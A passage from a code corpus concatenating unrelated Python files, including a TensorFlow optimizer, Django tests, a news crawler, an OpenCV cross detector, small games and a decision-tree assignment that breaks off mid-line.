functools.partial(self._distributed_apply, apply_state=apply_state),\n args=(grads_and_vars,),\n kwargs={\n \"name\": name,\n })\n \n def _distributed_apply(self, distribution, grads_and_vars, name, apply_state):\n def apply_grad_to_update_var(var, grad):\n if isinstance(var, ops.Tensor):\n raise NotImplementedError(\"Trying to update a Tensor \", var)\n \n apply_kwargs = {}\n if isinstance(grad, ops.IndexedSlices):\n if var.constraint is not None:\n raise RuntimeError(\"Cannot use a constraint function on a sparse variable.\")\n if \"apply_state\" in self._sparse_apply_args:\n apply_kwargs[\"apply_state\"] = apply_state\n return self._resource_apply_sparse_duplicate_indices(grad.values, var, grad.indices, **apply_kwargs)\n \n if \"apply_state\" in self._dense_apply_args:\n apply_kwargs[\"apply_state\"] = apply_state\n update_op = self._resource_apply_dense(grad, var, **apply_kwargs)\n if var.constraint is not None:\n with ops.control_dependencies([update_op]):\n return var.assign(var.constraint(var))\n else:\n return update_op\n\n # calculate the necessary parameters such as inner product\n self.prepare_apply(grads_and_vars)\n\n eagerly_outside_functions = ops.executing_eagerly_outside_functions()\n update_ops = []\n with name_scope_only_in_function_or_graph(name or self._name):\n for grad, var in grads_and_vars:\n with distribution.extended.colocate_vars_with(var):\n with name_scope_only_in_function_or_graph(\"update\" if eagerly_outside_functions else \"update_\" + var.op.name):\n update_op = distribution.extended.update(var, apply_grad_to_update_var, args=(grad,), group=False)\n if distribute_ctx.in_cross_replica_context():\n update_ops.extend(update_op)\n else:\n update_ops.append(update_op)\n \n any_symbolic = any(isinstance(i, ops.Operation) or tf_utils.is_symbolic_tensor(i) for i in update_ops)\n if not context.executing_eagerly() or any_symbolic:\n with backend._current_graph(update_ops).as_default(): # pylint: disable=protected-access\n with ops.control_dependencies([control_flow_ops.group(update_ops)]):\n return self._iterations.assign_add(1, read_value=False)\n \n return self._iterations.assign_add(1)\n \n # calculate the necessary parameters such as inner product\n @tf.function\n def prepare_apply(self, grads_and_vars):\n tmp_ZS = 0.0\n tmp_SS = 0.0\n norm_g = 0.0\n tmp_SG = 0.0\n tmp_YG = 0.0\n tmp_SY = 0.0\n tmp_YY = 0.0\n \n if self.globalconve_term:\n for grad, var in grads_and_vars:\n z = self.get_slot(var, \"z\")\n z_t = z.assign( grad - self.get_slot(var, \"one_past_grad\") )\n \n tmp_ZS += tf.reduce_sum( self.get_slot(var, \"s\") * z_t )\n tmp_SS += tf.reduce_sum( self.get_slot(var, \"s\") * self.get_slot(var, \"s\") )\n norm_g += tf.reduce_sum( grad * grad )\n \n w = 2.0 if norm_g > 1e-2 else 100.0\n delta = tf.maximum(tmp_ZS / tmp_SS, 0)\n xi = w * tf.math.sqrt(norm_g) + delta\n \n for grad, var in grads_and_vars:\n y = self.get_slot(var, \"y\")\n y_t = y.assign( self.get_slot(var, \"z\") + xi * self.get_slot(var, \"s\") )\n \n tmp_SG += tf.reduce_sum( self.get_slot(var, \"s\") * grad )\n tmp_YG += tf.reduce_sum( y_t * grad )\n tmp_SY += tf.reduce_sum( self.get_slot(var, \"s\") * y_t )\n tmp_YY += tf.reduce_sum( y_t * y_t )\n \n else:\n for grad, var in grads_and_vars:\n y = self.get_slot(var, \"y\")\n y_t = y.assign( grad - self.get_slot(var, \"one_past_grad\") )\n \n tmp_SG += tf.reduce_sum( self.get_slot(var, \"s\") * grad )\n tmp_YG += tf.reduce_sum( y_t * grad )\n tmp_SY += tf.reduce_sum( self.get_slot(var, \"s\") * y_t )\n tmp_YY += tf.reduce_sum( y_t * y_t )\n \n sg = self._get_hyper(\"sg\")\n sg.assign( tmp_SG )\n yg = self._get_hyper(\"yg\")\n yg.assign( tmp_YG )\n sy = self._get_hyper(\"sy\")\n sy.assign( tmp_SY )\n yy = self._get_hyper(\"yy\")\n yy.assign( tmp_YY )\n theta = self._get_hyper(\"theta\")\n theta.assign( tmp_SY / tmp_YY )\n \n @tf.function\n def _resource_apply_dense(self, grad, var):\n lr = self._get_hyper(\"lr\")\n\n theta = self._get_hyper(\"theta\")\n \n if self.apply_theta:\n if theta < 0: theta = lr\n elif theta > 1: 1\n\n sg = self._get_hyper(\"sg\")\n yg = self._get_hyper(\"yg\")\n sy = self._get_hyper(\"sy\")\n yy = self._get_hyper(\"yy\")\n\n s = self.get_slot(var, \"s\")\n y = self.get_slot(var, \"y\")\n\n one_past_grad = self.get_slot(var, \"one_past_grad\")\n one_past_var = self.get_slot(var, \"one_past_var\")\n\n if self.iterations == 0:\n direction = -1.0 * grad\n\n one_past_var_t = one_past_var.assign( var )\n one_past_grad.assign( grad )\n var_t = var.assign( var + lr * direction )\n \n else:\n direction = -1.0 * ( theta * grad - (theta * y * (sg / sy) + theta * s * (yg / sy)) \n + (1 + (theta * yy / sy)) * s * (sg / sy) )\n\n one_past_var_t = one_past_var.assign( var )\n one_past_grad.assign( grad )\n var_t = var.assign( var + lr * direction )\n\n s.assign( var_t - one_past_var_t )\n","sub_path":"MLQN.py","file_name":"MLQN.py","file_ext":"py","file_size_in_byte":12883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"529886504","text":"import json\n\nfrom flask_restplus import Namespace\n\n\nclass NameSpace(Namespace):\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def response(self, code, description, model=None, **kwargs):\n\n to_json = kwargs.get('to_json', True)\n body = kwargs.get('body', True)\n\n if body:\n response = {'message': description}\n message = response if not to_json else json.dumps(response)\n else:\n message = description\n return self.doc(responses={code: (message, model, kwargs)})\n\n def response_error(self, exception, model=None, **kwargs):\n '''A decorator to specify one of the expected error responses\n\n :param ApiError exception: An exception instance of errors.ApiError\n :param ModelBase model: an optional response model\n '''\n\n to_json = kwargs.get('to_json', True)\n message = exception.as_dict() if not to_json else json.dumps(exception.as_dict())\n return self.doc(responses={exception.code: (message, model, kwargs)})\n","sub_path":"src/apis/namespace.py","file_name":"namespace.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"110780279","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 6 10:30:06 2019\n\n@author: aneekbasu\n\"\"\"\nimport loadData\n#import wordVeactors\nimport vocabulary\nimport dataset\nimport numpy as np\nfrom gensim.models import KeyedVectors\nimport training\n\nif __name__ == \"__main__\":\n reviews = loadData.parseReviews(\"data/train\", False)\n reviews_test = loadData.parseReviews(\"data/test\", False)\n print(len(reviews))\n #print(reviews[10][3])\n review_text = [reviews[index][3] for index in range(len(reviews))]\n sentiment_value = [reviews[index][1] for index in range(len(reviews))]\n review_text_test = [reviews_test[index][3] for index in range(len(reviews_test))]\n sentiment_value_test = [reviews_test[index][1] for index in range(len(reviews_test))]\n #print(review_text[:10])\n #print(sentiment_value[:10])\n #word_vectors = KeyedVectors.load_word2vec_format('wiki-news-300d-1M.vec', binary=False)\n mean_len = np.array([len(title) for title in review_text]).mean()\n big_len = max([(len(title)) for title in review_text])\n max_len = int((mean_len+big_len)/2)\n print('Average length of a review is {}',mean_len)\n print('Maximum length of a review is {}',big_len)\n #voc = vocabulary.Vocabulary(['',''])\n #for token in review_text:\n # voc.add_tokens(token)\n #print(len(voc))\n #print(voc[0])\n word_vectors = KeyedVectors.load_word2vec_format('wiki-news-300d-1M.vec', binary=False)\n #word_vectors = FastText.load_fasttext_format('wiki.simple')\n dataset_raw_train = dataset.SentimentDataset(review_text[:1000],sentiment_value[:1000],word_vectors,max_len=20)\n dataset_raw_test = dataset.SentimentDataset(review_text_test[:1000],sentiment_value_test[:1000],word_vectors,max_len=20)\n print(len(dataset_raw_train))\n print(len(dataset_raw_train[90]))\n print(len(dataset_raw_test))\n print(len(dataset_raw_test[90]))\n #input_list = []\n #output_list = []\n #print(len(outputs))\n #print(dataset_raw[10][1])\n #for i in range(len(dataset_raw)):\n # input_list.append(dataset_raw[i][0].numpy())\n # output_list.append(dataset_raw[i][1].numpy())\n #print(input_list[10])\n #print(output_list[10])\n #print(len(input_list),len(output_list))\n training.train(dataset_raw_train,dataset_raw_test,sentiment_value_test, word_vectors)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"564616953","text":"from django.test import TestCase\n\n# Create your tests here.\nfrom rango.models import Category\nfrom time import sleep\n\nclass CategoryMethodTests(TestCase):\n\tdef test_ensure_views_are_positive(self):\n\t\t'''\n\t\t\t ensure_views_are_positive should results True for categories where views are zero or positive\n\t\t'''\n\t\tcat = Category(name='test', views=-1, likes=0)\n\t\tcat.save()\n\t\tself.assertEqual((cat.views >= 0), True)\n\n\tdef test_slug_line_creation(self):\n\n\t\tcat = Category(name=\"Rango Category String\")\n\t\tcat.save()\n\t\tself.assertEqual(cat.slug, 'rango-category-string')\n\n\nfrom django.core.urlresolvers import reverse\n\n\nclass IndexViewTests(TestCase):\n\n def test_index_view_with_no_categories(self):\n \"\"\"\n If no questions exist, an appropriate message should be displayed.\n \"\"\"\n Category.objects.get_or_create(name='test', views=1, likes=1)\n Category.objects.get_or_create(name='temp', views=1, likes=1)\n Category.objects.get_or_create(name='tmp', views=1, likes=1)\n Category.objects.get_or_create(name='tmp test temp', views=1, likes=1)\n\n response = self.client.get(reverse('index'))\n \n self.assertEqual(response.status_code, 200)\n self.assertContains(response, \"tmp test temp\")\n \n num_cat = len(response.context['categories'])\n self.assertEqual(num_cat, 4)","sub_path":"rango/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"632227662","text":"import tensorflow as tf\nimport os\nimport subprocess\ncustom_ops_dir = os.sep.join([os.getenv(\"HOME\"), \".tf_custom_ops\"])\nlibrary_name = 'high_dim_filter.so'\nlib = os.sep.join([custom_ops_dir, library_name])\nif not os.path.exists(lib):\n cpp_path = os.sep.join([os.path.dirname(os.path.realpath(__file__)),\"..\",\"cpp\"])\n env = {\n \"TF_INC\":tf.sysconfig.get_include()\n }\n print(cpp_path)\n proc = subprocess.Popen(['bash','compile.sh'], shell=False, cwd=cpp_path, env=env)\n proc.communicate()\ncustom_module = tf.load_op_library(lib)\nimport crfrnn.high_dim_filter_grad # Register gradients for the custom op","sub_path":"crfrnn/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"590320706","text":"#!/usr/bin/env\n\nimport csv\nimport pandas\nimport numpy\nfrom sklearn.naive_bayes import GaussianNB\n\ndef prepare_data_sets():\n train_in_set = pandas.read_csv('train/train_in.tsv', header=None, sep='\\t')\n train_out_set = pandas.read_csv('train/train_out.tsv', header=None, sep='\\t')\n test_set = pandas.read_csv('test-A/in.tsv', header=None, sep='\\t')\n dev_set = pandas.read_csv('dev-0/in.tsv', header=None, sep='\\t')\n\n for col in train_in_set:\n train_in_set[col] = train_in_set[col].map(ord)\n\n for col in train_out_set:\n train_out_set[col] = train_out_set[col].map(ord)\n\n for col in test_set:\n test_set[col] = test_set[col].map(ord)\n\n for col in dev_set:\n dev_set[col] = dev_set[col].map(ord)\n\n train_in_set.to_csv('train/train_in_06.tsv', header=None, sep='\\t', index=False)\n train_out_set.to_csv('train/train_out_06.tsv', header=None, sep='\\t', index=False)\n test_set.to_csv('test-A/in_06.tsv', header=None, sep='\\t', index=False)\n dev_set.to_csv('dev-0/in_06.tsv', header=None, sep='\\t', index=False)\n\ndef write_out_file(predictions, out_file):\n with open(out_file, 'w') as f:\n for prediction in predictions:\n f.write(str(chr(int(prediction))) + '\\n')\n\ndef main():\n # prepare data sets\n prepare_data_sets()\n\n # load data\n X_train = numpy.loadtxt('./train/train_in_06.tsv', delimiter='\\t')\n y_train = numpy.loadtxt('./train/train_out_06.tsv', delimiter='\\t')\n X_test = numpy.loadtxt('./test-A/in_06.tsv', delimiter='\\t')\n X_dev = numpy.loadtxt('./dev-0/in_06.tsv', delimiter='\\t')\n\n # print data\n print('\\nX_train:')\n print(X_train)\n print('\\ny_train:')\n print(y_train)\n print('\\nX_test:')\n print(X_test)\n print('\\nX_dev:')\n print(X_dev)\n\n # create classifier\n gnb = GaussianNB()\n\n # train\n gnb.fit(X_train, y_train)\n\n # predict\n predictions = gnb.predict(X_test)\n predictions_dev = gnb.predict(X_dev)\n\n # print predictions\n print('\\npredictions:')\n print(predictions)\n print('\\npredictions_dev:')\n print(predictions_dev)\n\n # write outfiles\n write_out_file(predictions, 'test-A/out.tsv')\n write_out_file(predictions_dev, 'dev-0/out.tsv')\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"ml/weraMushrooms/bayes.py","file_name":"bayes.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"562889145","text":"#!/usr/bin/env python3\n\n\"\"\"Even commands.\"\"\"\n\nimport random\nimport re\nimport sys\n\nimport prompt\n\ncrypto = random.SystemRandom()\n\n\ndef welcome_user():\n \"\"\"Greeting.\n\n Returns:\n Returns name of the player\n \"\"\"\n name = prompt.string('May I have your name? ')\n sys.stdout.write('Hello, {0}!\\n'.format(name))\n return name\n\n\ndef define_rules():\n \"\"\"Rules of the game.\"\"\"\n sys.stdout.write('What number is missing in the progression?\\n')\n\n\ndef create_progression():\n \"\"\"Create progression of numbers.\n\n Returns:\n Returns progression as a list.\n \"\"\"\n progression = []\n begin = crypto.randrange(1, 100)\n step = crypto.randrange(1, 10)\n stop = step * 10 + begin\n for num in range(begin, stop, step):\n progression.append(str(num))\n return progression\n\n\ndef create_task():\n \"\"\"Create 2 numbers and find the greatest common divisor of them.\n\n Returns:\n Returns progression of numbers and missing number.\n \"\"\"\n progression = create_progression()\n index_of_missing = crypto.randrange(0, 10)\n missing = progression.pop(index_of_missing)\n progression.insert(index_of_missing, '..')\n return (progression, missing)\n\n\ndef question(*args):\n r\"\"\"Ask the question to the player.\n\n Args:\n args: numbers (int) and/or operator (str).\n\n Returns:\n Returns answer of the player.\n \"\"\"\n message_with_symb = 'Question: {0}\\n'.format(*args)\n message = re.sub(r\"[\\[\\,\\'\\]]\", '', message_with_symb)\n sys.stdout.write(message)\n return prompt.string('Your answer: ')\n\n\ndef game(name, amount_of_rounds=3):\n \"\"\"One round of a game.\n\n Args:\n name: name of player.\n amount_of_rounds: how many rounds the game will continue.\n\n Returns:\n Returns nothing or recursively itself.\n \"\"\"\n if amount_of_rounds <= 0:\n return sys.stdout.write('Congratulations, {0}!\\n'.format(name))\n (progression, missing_element) = create_task()\n answer = question(progression)\n if int(answer) == int(missing_element):\n sys.stdout.write('Correct!\\n')\n return game(name, amount_of_rounds - 1)\n else:\n message = \"'{0}' is wrong answer ;(. Correct answer was '{1}'\\n\"\n sys.stdout.write(message.format(answer, missing_element))\n sys.stdout.write(\"Let's try again, {0}!\\n\".format(name))\n","sub_path":"brain_games/progression.py","file_name":"progression.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"297835138","text":"'''\nInput: a List of integers\nReturns: a List of integers\n'''\ndef foo():\n pass\n\ndef product_of_all_other_numbers(arr):\n #* Special Case: just one element in arr\n if len(arr) == 0 or len(arr) == 1:\n return [1]\n\n #* Special Case: just two elements in arr\n if len(arr) == 2:\n return [arr[1], arr[0]]\n\n #* General Case: three or more elements in arr\n # working dict/map multiplying consecutive array elements - going forward in the array\n fwd_dict = {}\n # working dict/map multiplying consecutive array elements - going backward in the array\n bwd_dict = {}\n # Declare the return array object\n ret_arr = []\n\n # Iterate through the array \n for idx in range(len(arr)):\n # Treat the first element as special case\n if idx == 0:\n fwd_dict[0] = arr[0]\n bwd_dict[len(arr)-1] = arr[len(arr)-1]\n continue\n\n # Treat subsequent elements\n fwd_dict[idx] = arr[idx]*fwd_dict[idx-1]\n bwd_dict[len(arr)-1-idx] = arr[len(arr)-1-idx]*bwd_dict[len(arr)-idx]\n\n # Handle all indices EXCEPT the first array index and the last\n for idx in range(1, len(arr)-1):\n # For each indexed position in the array...\n # calculate the product of all of the values BEFORE the array position\n # times all of the values AFTER the array position \n ret_arr.append(fwd_dict[idx-1]*bwd_dict[idx+1])\n \n # Add the first array index and the last array index values\n ret_arr.insert(0, bwd_dict[1])\n ret_arr.append(fwd_dict[len(arr)-2])\n\n # Return the array\n return ret_arr\n\n#if __name__ == '__main__':\n# # Use the main function to test your implementation\n# # arr = [1, 2, 3, 4, 5]\n# arr = [2, 6, 9, 8, 2, 2, 9, 10, 7, 4, 7, 1, 9, 5, 9, 1, 8, 1, 8, 6, 2, 6, 4, 8, 9, 5, 4, 9, 10, 3, 9, 1, 9, 2, 6, 8, 5, 5, 4, 7, 7, 5, 8, 1, 6, 5, 1, 7, 7, 8]\n#\n# print(f\"Output of product_of_all_other_numbers: {product_of_all_other_numbers(arr)}\")\n","sub_path":"product_of_all_other_numbers/product_of_all_other_numbers.py","file_name":"product_of_all_other_numbers.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"125664385","text":"from random import randint\n\nplayer = input('Choose either rock(r) or paper(p) or scissors(s):')\n\nprint(player, 'vs',end=' ') # end with a space instead of a new line\nchosen = randint(1,3)\nif chosen == 1:\n\tcomputer = 'r'\nelif chosen == 2:\n\tcomputer = 'p'\nelif chosen == 3:\n\tcomputer = 's'\n\nprint(computer)\n\nif player == computer :\n\tprint('Draw')\nelif player == 'r' and computer == 's':\n\tprint('player wins!')\nelif player == 'r' and computer == 'p':\n\tprint('Computer wins!')\nelif player == 'p' and computer == 's':\n\tprint('Computer wins!')\nelif player == 'p' and computer == 'r':\n\tprint('player wins!')\nelif player == 's' and computer == 'r':\n\tprint('Computer wins!')\nelif player == 's' and computer == 'p':\n\tprint('player wins!')","sub_path":"rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"258074725","text":"from urlparse import urlparse, urlunparse\nimport re\n\nfrom bs4 import BeautifulSoup\nimport requests\n\nfrom .base import BaseCrawler\nfrom ...models import Entity, Author, AuthorType\n\nclass CitizenCrawler(BaseCrawler):\n TL_RE = re.compile('(www\\.)?citizen.co.za')\n\n def offer(self, url):\n \"\"\" Can this crawler process this URL? \"\"\"\n parts = urlparse(url)\n return bool(self.TL_RE.match(parts.netloc))\n\n def canonicalise_url(self, url):\n \"\"\" Strip anchors, etc. \"\"\"\n parts = urlparse(url)\n\n # force http, strip www, enforce trailing slash\n path = parts.path\n if not path.endswith('/'):\n path = path + '/'\n\n return urlunparse(['http', 'citizen.co.za', path, parts.params, parts.query, None])\n\n def extract(self, doc, raw_html):\n \"\"\" Extract text and other things from the raw_html for this document. \"\"\"\n super(CitizenCrawler, self).extract(doc, raw_html)\n\n soup = BeautifulSoup(raw_html)\n\n doc.title = self.extract_plaintext(soup.select(\"h1.article-headline\"))\n doc.summary = self.extract_plaintext(soup.select(\".article-excerpt\"))\n doc.text = \"\\n\\n\".join(p.text for p in soup.select(\".article-content > p\"))\n doc.published_at = self.parse_timestamp(self.extract_plaintext(soup.select(\".page-lead-datetime\")))\n\n author = self.extract_plaintext(soup.select(\".article-byline\"))\n\n if author:\n doc.author = Author.get_or_create(author, AuthorType.journalist())\n else:\n doc.author = Author.unknown()\n","sub_path":"dexter/processing/crawlers/citizen.py","file_name":"citizen.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"519896057","text":"import os\n\ndict_num = {\n 'One': 'Один',\n 'Two': 'Два',\n 'Three': 'Три',\n 'Four': 'Четыре'\n}\n\nwith open('txt files/my_hw5_4.txt', 'r', encoding='UTF-8') as file:\n nums = file.read().splitlines()\n i = 0\n list_num_rus = []\n for el in nums:\n el = el.split(' — ')\n for key, value in dict_num.items():\n if el[0] == key:\n el[0] = value\n list_num_rus.append(el[0] + ' — ' + el[1])\n\n\nwith open('txt files/my_hw5_4_1.txt', 'w', encoding='utf-8') as f:\n for el in list_num_rus:\n f.write(el + '\\n')\n","sub_path":"hw5/hw5_4.py","file_name":"hw5_4.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"213309607","text":"import numpy as np\nimport cv2\n\nlow=(50,20,5)\nupp=(150,150,150)\n\ndef intersection(line1, line2):\n \"\"\"See https://stackoverflow.com/a/383527/5087436\"\"\"\n\n rho1, theta1 = line1[0]\n rho2, theta2 = line2[0]\n A = np.array([\n [np.cos(theta1), np.sin(theta1)],\n [np.cos(theta2), np.sin(theta2)]\n ])\n b = np.array([[rho1], [rho2]])\n x0, y0 = np.linalg.solve(A, b)\n x0, y0 = int(np.round(x0)), int(np.round(y0))\n return [[x0, y0]]\n\n\n# capture = cv2.VideoCapture(1)\n\n# while cv2.waitKey(1) & 0xff != ord('q'):\n# ret, image = capture.read()\n\ndef detect_cross(image):\n # image = cv2.imread('./cross.jpg')\n blur=cv2.GaussianBlur(image,(11,11),0)#blur the grayscale image\n hsv=cv2.cvtColor(blur,cv2.COLOR_BGR2HSV)#convert each frame to grayscale.\n mask=cv2.inRange(hsv,low,upp)\n\n #ret,th1 = cv2.threshold(mask,100,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)#using threshold remove noise\n #ret1,th2 = cv2.threshold(th1,100,255,cv2.THRESH_BINARY_INV)# invert the pixels of the image frame\n\n thresh = cv2.erode(mask, None, iterations=2) \n thresh = cv2.dilate(thresh, None, iterations=2)\n\n# gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n edges = cv2.Canny(thresh, 50, 150, apertureSize=3)\n lines = cv2.HoughLines(edges, 1, np.pi/180, 50)\n\n # vertical_line = []\n # vertical_num = 0\n\n # horizontal_line = []\n # horizontal_num = 0\n\n # for line in lines:\n # rho, theta = line[0]\n\n # if (theta>175*np.pi/180.0 and theta<180*np.pi/180.0) or (theta<5*np.pi/180.0 and theta>0):\n # horizontal_num+=1\n # horizontal_line.append(line)\n # elif theta>85*np.pi/180.0 and theta<95*np.pi/180.0:\n # vertical_num += 1\n # vertical_line.append(line)\n\n # minhoriz = 10000000\n # for line in horizontal_line:\n # rho, theta = line[0]\n\n # rho = abs(rho)\n # if rho < minhoriz:\n # minhoriz = rho\n # minline = line\n \n # rho, theta = minline[0]\n # rho = abs(rho)\n # a = np.cos(theta)\n # b = np.sin(theta)\n # x0 = a*rho\n # y0 = b*rho\n # x1 = int(x0+1000*(-b))\n # y1 = int(y0+1000*a)\n # x2 = int(x0-1000*(-b))\n # y2 = int(y0-1000*a)\n # cv2.line(image, (x1,y1), (x2,y2),(0,0,255),2)\n\n slopearr=[]\n flag = 0\n if lines is None:\n return 0\n else:\n for line in lines:\n rho, theta = line[0]\n a = np.cos(theta)\n b = np.sin(theta)\n x0 = a*rho\n y0 = b*rho\n x1 = int(x0+1000*(-b))\n y1 = int(y0+1000*a)\n x2 = int(x0-1000*(-b))\n y2 = int(y0-1000*a)\n\n\n if flag == 1:\n for angle in slopearr:\n if(abs(theta-angle) > 85*np.pi/180.0 and abs(theta-angle)<95*np.pi/180.0):\n line2 = line\n cv2.line(image, (x1,y1), (x2,y2),(0,0,255),2)\n flag = 2\n break\n elif flag == 0:\n flag = 1\n line1 = line\n cv2.line(image, (x1,y1), (x2,y2),(0,0,255),2)\n slopearr.append(theta)\n elif flag == 2:\n break\n if flag == 2:\n [[x, y]] = intersection(line1, line2)\n cv2.circle(image, (x, y), 3, 255, -1)\n return 1\n elif flag == 1:\n return 0\n\n cv2.imshow('img', image)","sub_path":"catkin_ws/src/process_image/src/detect_cross_simple.py","file_name":"detect_cross_simple.py","file_ext":"py","file_size_in_byte":3433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"601684160","text":"\"\"\"\nRead file into texts and calls.\nIt's ok if you don't understand how to read files.\n\"\"\"\nimport csv\n\nwith open('texts.csv', 'r') as f:\n reader = csv.reader(f)\n texts = list(reader)\n\nwith open('calls.csv', 'r') as f:\n reader = csv.reader(f)\n calls = list(reader)\n\n\"\"\"\nTASK 4:\nThe telephone company want to identify numbers that might be doing\ntelephone marketing. Create a set of possible telemarketers:\nthese are numbers that make outgoing calls but never send texts,\nreceive texts or receive incoming calls.\n\nPrint a message:\n\"These numbers could be telemarketers: \"\n\nThe list of numbers should be print out one per line in lexicographic order with no duplicates.\n\"\"\"\n\ndef possible_telemarketers(call_records, text_records):\n unique_callers = set()\n\n for call in call_records:\n caller = call[0]\n unique_callers.add(caller)\n\n for call in call_records:\n receiver = call[1]\n\n if receiver in unique_callers:\n unique_callers.remove(receiver)\n\n for text in text_records:\n sender = text[0]\n receiver = text[1]\n\n if sender in unique_callers:\n unique_callers.remove(sender)\n\n if receiver in unique_callers:\n unique_callers.remove(receiver)\n\n telemarketers = sorted(caller for caller in unique_callers)\n\n print(\"These numbers could be telemarketers: \")\n for telemarketer in telemarketers:\n print(\"{0}\".format(telemarketer))\n\n\npossible_telemarketers(calls, texts)\n","sub_path":"Scramble/Task4.py","file_name":"Task4.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"510464754","text":"##\nimport os, sys, string\nimport SConsAddons.Util as sca_util\npj = os.path.join\n\nImport( 'RootDir ves_pkg' )\n\nfileBundle = ves_pkg.createFileBundle( pj( 'share', 'vesuite', 'examples', 'Fermentor' ) )\nfermentorDemoDir = pj( RootDir, 'share', 'examples', 'Fermentor' )\niveFile = sca_util.getFilesRecursiveByExt( fermentorDemoDir, [ '.ive' ] )\n\nfileBundle.addFiles( iveFile )\nfileBundle.addFiles( [ 'Icons/fermentor.jpg' ] )\nfileBundle.addFiles( [ 'fermentor.ves' ] )\nfermentorSubdirs = Split(\"\"\"\n FermentorGP\n FermentorUI\n\"\"\")\n\n##Run SConscript files in all of these folders.\nfor d in fermentorSubdirs:\n SConscript( dirs = d )\n","sub_path":"share/examples/Fermentor/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"440638807","text":"# 17CH10013\n# Chinmay Singh\n# Assignment Number 1\n# python3 \n\nimport pandas as pd\nimport numpy as np\nimport math\n\n# structure to save Decision Tree\nclass Node :\n def __init__(self ,key): \n self.key = key \n self.child = []\n\n# utility function to caluclate the entropy of dataframe\n# for calcuation of entropy the formula of entropy is used in which once we take the probablity of occurence of yes and in other probablity of occurence of no\n# only required attribute is the last column of the dataframe\ndef entropy(df):\n yes_count = 0\n no_count = 0\n\n for i in range(len(df.iloc[:, -1])):\n if df.iloc[:, -1][i] == \"yes\":\n yes_count += 1\n \n if df.iloc[:, -1][i] == \"no\":\n no_count += 1\n continue\n\n if yes_count == 0 or no_count == 0:\n return 0\n \n entropy = -1 * (((yes_count/(yes_count + no_count))*math.log((yes_count/(yes_count + no_count)), 2)) + ((no_count/(yes_count + no_count))*math.log((no_count/(yes_count + no_count)), 2)))\n\n return entropy\n\n# utility function to calculate the information gain from DataFrameDict and parent information\n# information gain is the difference of parent_entropy and weighted sum of children entropy\n# required attributes are dictionary of splited dataframe and the parent entropy\ndef information_gain(DataFrameDict, parent_entropy, l):\n child_entropy = 0\n\n for key in DataFrameDict.keys():\n child_entropy += (len(DataFrameDict[key])/l)* entropy(DataFrameDict[key].reset_index(drop = True))\n\n return parent_entropy - child_entropy\n\n# utility function to split the dataframe on the basis of attribute\ndef split(df, attribute):\n temp = list(set(df[attribute]))\n\n DataFrameDict = {elem : pd.DataFrame for elem in temp}\n\n for key in DataFrameDict.keys():\n DataFrameDict[key] = df[:][df[attribute] == key]\n\n return DataFrameDict\n\n# utility function to traverse the tree and print the tree hierarchialy\ndef traverse_tree(root, indent): \n \n # Stack to store the nodes \n nodes=[] \n \n # push the current node onto the stack \n nodes.append(root) \n \n # loop while the stack is not empty \n while (len(nodes)): \n \n # store the current node and pop it from the stack \n curr = nodes[0] \n nodes.pop(0)\n # current node has been travarsed\n\n for i in range(len(indent)):\n if curr.key in indent[i]:\n print((i + 1)*\"\\t\", curr.key)\n # print(curr.key)\n \n # store all the childrent of current node from \n # right to left. \n for it in range(len(curr.child)-1,-1,-1): \n nodes.insert(0,curr.child[it])\n\n# utility function to create a decision tree\n# order stores the order in which the tree is being splitted in the recursion\n# attributes has all the attributes in the total dataset\n# current dataset is the parent node for the recursion\ndef tree(orignal_data, current_data, attributes, root, order):\n \n if len(set(current_data.iloc[:, -1])) == 1:\n \n root.child.append(Node(str(list(set(current_data.iloc[:, -1]))[0])))\n return root\n \n if len(attributes) == 0:\n \n temp = np.unique(current_data.iloc[:, -1], return_counts=True)\n index = np.argmax(temp[1])\n root.child.append(Node(temp[0][index]))\n return root\n \n parent_entropy = entropy(current_data.reset_index())\n \n max_gain = -10000\n for i in attributes: \n DataFrameDict = split(current_data, i)\n\n gain = information_gain(DataFrameDict, parent_entropy, len(current_data))\n\n if gain >= max_gain:\n max_gain = gain\n element = i\n \n order.append(element)\n attributes.remove(element)\n \n DataFrameDict = split(current_data, element)\n\n for key in DataFrameDict.keys():\n root.child.append(Node(str(key)))\n\n for i in range(len(root.child)):\n root.child[i] = tree(orignal_data, DataFrameDict[root.child[i].key], attributes[:], 